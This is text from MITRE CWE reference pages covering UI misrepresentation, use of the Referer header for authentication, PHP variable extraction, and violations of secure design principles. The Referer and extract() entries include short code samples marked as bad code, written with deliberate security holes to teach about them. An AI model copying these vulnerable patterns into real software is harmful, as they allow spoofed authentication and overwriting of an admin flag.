  • Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.684Incorrect Provision of Specified Functionality
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1007Insufficient Visual Distinction of Homoglyphs Presented to User
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1021Improper Restriction of Rendered UI Layers or Frames
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.346Origin Validation Error
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation
Access Control

Technical Impact: Hide Activities; Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions.
Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant.
Misrepresentation and equivalence issue.
Lock spoofing from several different weaknesses.
Incorrect indicator: web browser can be tricked into presenting the wrong URL
Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site.
Incorrect indicator: Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel.
Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted.
Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar.
Overlay: Wide "favorites" icon can overlay and obscure address bar
Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method.
Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate.
Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters.
Visual truncation: Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar.
Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions.
Visual truncation: Web browser file download type can be hidden using whitespace.
Visual truncation: Visual truncation in chat client using whitespace to hide dangerous file extension.
Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname.
Visual truncation: Null character in URL prevents entire URL from being displayed in web browser.
Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab.
Miscellaneous -- Dangerous file extensions not displayed.
Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialog box.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

Phase: Architecture and Design

Strategy: Output Encoding

Create a strategy for presenting information, and plan for how to display unusual characters.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.995SFP Secondary Cluster: Feature
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1379ICS Operations (& Maintenance): Human factors in ICS environments
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Research Gap

Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for classifying these kinds of problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.

Maintenance

This entry should be broken down into more precise entries. See extended description.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUI Misrepresentation of Critical Information
+ References
[REF-434] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 7.16. Foil Semantic Attacks. 2003-03-03. <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/semantic-attacks.html>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-13CWE Content TeamMITRE
Defined several different subtypes of this issue.
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Description, Maintenance_Notes, Name, Observed_Examples, Other_Notes, References, Relationships, Research_Gaps
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Observed_Examples, References, Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-02-18UI Misrepresentation of Critical Information

CWE-293: Using Referer Field for Authentication

Weakness ID: 293
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.
+ Alternate Terms
referrer:
While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Background Details
The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

(bad code)
Example Language: C++ 
String trustedReferer = "http://www.example.com/"
while(true){
n = read(newsock, buffer, BUFSIZE);
requestPacket = processPacket(buffer, n);
if (requestPacket.referer == trustedReferer){
openNewSecureSession(requestPacket);
}
}
(bad code)
Example Language: Java 
boolean processConnectionRequest(HttpServletRequest request){
String referer = request.getHeader("referer")
String trustedReferer = "http://www.example.com/"
if(referer.equals(trustedReferer)){
openPrivilegedConnection(request);
return true;
}
else{
sendPrivilegeError(request);
return false;
}
}

These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

+ Potential Mitigations

Phase: Architecture and Design

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUsing referrer field for authentication
Software Fault PatternsSFP29Faulty endpoint authentication
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Referer Request Header", Page 1030. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Common_Consequences, Relationships, Relevant_Properties, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships, Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-621: Variable Extraction Error

Weakness ID: 621
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.
+ Extended Description

For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

+ Alternate Terms
Variable overwrite
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.914Improper Control of Dynamically-Identified Variables
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

An attacker could modify sensitive data or program variables.
+ Demonstrative Examples

Example 1

This code uses the credentials sent in a POST request to login a user.

(bad code)
Example Language: PHP 
//Log user in, and set $isAdmin to true if user is an administrator

function login($user,$pass){
$query = buildQuery($user,$pass);
mysql_query($query);
if(getUserRole($user) == "Admin"){
$isAdmin = true;
}
}

$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

+ Observed Examples
ReferenceDescription
extract issue enables file inclusion
Chain: PHP app uses extract for register_globals compatibility layer (CWE-621), enabling path traversal (CWE-22)
extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.
extract() enables static code injection
import_request_variables() buried in include files makes post-disclosure analysis confusing
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Use allowlists of variable names that can be extracted.

Phase: Implementation

Consider refactoring your code to avoid extraction routines altogether.

Phase: Implementation

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Probably under-reported for PHP. Seems under-studied for other interpreted languages.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2023-04-27CWE Content TeamMITRE
updated Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-657: Violation of Secure Design Principles

Weakness ID: 657
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product violates well-established principles for secure design.
+ Extended Description
This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.250Execution with Unnecessary Privileges
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.636Not Failing Securely ('Failing Open')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.637Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.638Not Using Complete Mediation
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.653Improper Isolation or Compartmentalization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.654Reliance on a Single Factor in a Security Decision
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.655Insufficient Psychological Acceptability
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.656Reliance on Security Through Obscurity
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.671Lack of Administrator Control over Security
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1192Improper Identifier for IP Block used in System-On-Chip (SOC)
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1395Dependency on Vulnerable Third-Party Component
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Example 2

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 3

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 4

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 5

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077 [REF-542]. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption during transmission, CWE-312), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

Example 5 References:
[REF-542] Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". Information Sciences Institute. 1981-09. <https://www.ietf.org/rfc/rfc0793.txt>. URL validated: 2023-04-07.

Example 6

The "SweynTooth" vulnerabilities in Bluetooth Low Energy (BLE) software development kits (SDK) were found to affect multiple Bluetooth System-on-Chip (SoC) manufacturers. These SoCs were used by many products such as medical devices, Smart Home devices, wearables, and other IoT devices. [REF-1314] [REF-1315]

+ Observed Examples
ReferenceDescription
Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138].
The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional."
Hard-coded cryptographic key stored in executable program.
Server does not properly validate client certificates when reusing cached connections.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

